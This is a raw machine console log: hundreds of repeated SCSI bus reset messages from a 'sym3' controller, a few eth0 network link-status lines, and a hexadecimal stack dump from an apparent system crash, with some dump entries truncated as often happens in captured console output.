sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
eth0: MII status 780d, Link partner report 0000.

 eth0 csr12 c6  not lnc!!
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.

Stack Dump:
 0000000039e1d578:  0000000039e1d578 00000000102f1774 0000000010448e80 0000000010448e80
 0000000039e1d558:  0000000010448e80 0000000000001896 0000000010448e80 000000008d7a64c0
 0000000039e1d538:  0000000000000002 0000000000000000 0000000010448e80 0000000000001000
 0000000039e1d518:  00000000000a340e 0000000000000000 0000000000000002 0000000000000000
 0000000039e1d4f8:  0000000000000080 0000000039e1d000 0000000000000000 0000000010448e80
 0000000039e1d4d8:  000000000000000f 0000003f0804ff17 3f8020c500000000 000000000800000e
 0000000039e1d4b8:  0000000010448e80 000000001010df64 0000000000000004 0000000039e1d2c0
 0000000039e1d498:  0000000010448e80 0000000010448e80 000000003372c100 00000000104e1218
 0000000039e1d478:  0000000010448e80 00000000000f4000 0000000020515440 0000000048019c78
 0000000039e1d458:  0000000010448e80 0000000000000000 ffffffffffffffff ffffffffffffffff
 0000000039e1d438:  4000c678c1c43248 000000001023c8ec 0000000000000001 0000000039e1d2c0
 0000000039e1d418:  0000000010448e80 0000000010448e80 0000000000000063 0000000000000000
 0000000039e1d3f8:  0000000010448e80 0000000010448e80 0000000000030104 0000000000000000
 0000000039e1d3d8:  0000000010448e80 0000000000000054 00000000132d8000 0000000010448e80
 0000000039e1d3b8:  000000000800000e 0000000010139498 000000008d7a64c0 0000000010448e80
 0000000039e1d398:  0000000010448e80 0000000000001a94 0000000010448e80 0000000000000000
 0000000039e1d378:  0000000000000002 0000000000000000 0000000000000000 0000000000000010
 0000000039e1d358:  0000000000000000 0000000010448e80 000000001328e000 0000000000000000
 0000000039e1d338:  000000008ecc5b20 0000000010109094 000000008281bec0 00000000133277c0
 0000000039e1d318:  0000000000000082 0000000010448e80 000000003372c100 000000001039488c
 0000000039e1d2 0000000000000001 0000000000000000 0000000010448e80 0000000039e1cb80
 0000000039e1d2d8:  0000000000000002 0000000039e1c690 0000000000000002 0000000000000000
 0000000039e1d2b8:  00000000104049d8 0000000010149ef0 0000000010404a10 0000003f0804ff17
 0000000039e1d298:  0000000000000000 000000000eb010d4 000000000000003a 00000000104e1218
 0000000039e1d278:  0000000010448e80 00000000000f4000 00000000000000d2 0000000039e1d100
 0000000039e1d258:  000000001015fae0 000000001015fadc 0000000000000000 0000000000000000
 0000000039e1d238:  0000000000000000 0000000000000000 0000000000000000 0000000000000000
 0000000039e1d218:  0000000000000c80 0000000000000000 0000000000000c80 0000000000000c80
 0000000039e1d1f8:  0000000000000003 000000001013f30c 00000000f000028c 0000000000000802
 0000000039e1d1d8:  4014000000000000 401c000000000000 0000000200000000 0000000400000004
 0000000039e1d1b8: 0000000000000 0000000000000000 000000001328b000 0000000000000002
 0000000039e1d198:  0000000013057a80 0000000000000002 ffffffffffffffff ffffffffffffffff
 0000000039e1d178:  ffffffffffffffff 00000000101a2440 ffffffffffffffff ffffffffffffffff
 0000000039e1d158:  ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
 0000000039e1d138:  4000c678c1c43248 00000000000003e8 00000064aaaaaaab 0000000000000000
 0000000039e1d118:  0000000000000000 0000000000000000 0000000000000000 0c3ff80000000000
 0000000039e1d0f8:  000000000000e680 0000000039e1d000 0000000039e1cff0 0000003f0804ff0f
 0000000039e1d0d8:  0000000010448e80 000000008e0ca0c0 0000000000030104 0000000000001000
 0000000039e1d0b8:  000000000000003f 00000000fffffffa 0000003f0804ff0f 0000000000000000
 0000000039e1d098:  000000000800000f 0000000039e1c3f0 000000001042c820 000000003fa38af8
 0000000039e1d078:  000000000800 0000000039e1c610 000000008f7553c0 0000000039e1ca10
 0000000039e1d058:  0000000000030104 0000000000000000 000000003fa38af8 000000003fa38af8
 0000000039e1d038:  0000000000000000 0000000000030104 0000000010448e80 0000000010448e80
 0000000039e1d018:  0000000000000000 000000001015facc 00000000104fc0a0 000000ff0804ff0e
 0000000039e1cff8:  0000000010448e80 00000000101388b0 0000000000000000 8000000000000000
 0000000039e1cfd8:  0000000010448e80 0000000039e1cb80 ffffffff00000000 0000000010448e80
 0000000039e1cfb8:  0000000018ed5bd8 000000001010f2f8 00107fc062c693c0 0000000000000002
 0000000039e1cf98:  0000000000000000 0000000010448e80 0000000039e1c980 0000000000000000
 0000000039e1cf78:  0000000000000002 000000001018b2e8 0000000000000000 0000000010448e80
 0000000039e1cf58:  0000000000000001 0000000000000029 0000000010448e80 0000000000000000
 0000000039e1cf38:  00000000000f 0000000010448e80 00000000104f5b98 0000000000000000
 0000000039e1cf18:  00000000104f5b98 0000000010448e80 000000000800000e 0000000039e1ce80
 0000000039e1cef8:  000000008e56d000 000000001013a184 0000000000000005 000000008e56d000
 0000000039e1ced8:  0000000010448e80 0000000000000006 0000000010448e80 00000000000179c9
 0000000039e1ceb8:  0000000000000006 0000000000000000 0000000010448e80 000000008fffc940
 0000000039e1ce98:  0000000000030104 0000000000001000 0000000000000002 000000008e7dc690
 0000000039e1ce78:  0000000000000001 000000001018d0cc 0000000010448e80 0000000039e1c700
 0000000039e1ce58:  0000000000000002 0000000000595054 ffffffff80000000 0000000000000000
 0000000039e1ce38:  0000000000000000 0000000010149ef0 0000000000000040 0000000000000006
 0000000039e1ce18:  0000000039e1cd00 0000000000000000 0000000000002009 0000000000000000
 0000000039e1cdf8:  000000000002 00000000101dc7a0 0000000000000000 0000000039e1c700
 0000000039e1cdd8:  000000001023d244 000000001023d240 0000000000000000 0000000000000000
 0000000039e1cdb8:  0000000000000000 0000000010448e80 0000000000001000 000000008fffc940
 0000000039e1cd98:  0000000000030104 0000000010448e80 0000000000000c80 0000000000000c80
 0000000039e1cd78:  0000000000000003 000000001018d1c8 00000000f000028c 0000000000000802
 0000000039e1cd58:  4014000000000000 401c000000000000 0000000600000000 0000000000000000
 0000000039e1cd38:  0000000039e1ca10 0000000020132180 0000000000000000 0000000039e1ca10
 0000000039e1cd18:  0000000020132180 0000000000000001 ffffffffffffffff 0000000039e1cc80
 0000000039e1ccf8:  ffffffffffffffff 00000000101dc8a4 ffffffffffffffff ffffffffffffffff
 0000000039e1ccd8:  ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
 0000000039e1ccb8:  4000c678c1c43240000000000003e8 000000008fff9d40 0000000010448e80
 0000000039e1cc98:  0000000010448e80 0000000000000000 0000000000000000 0000000010448e80
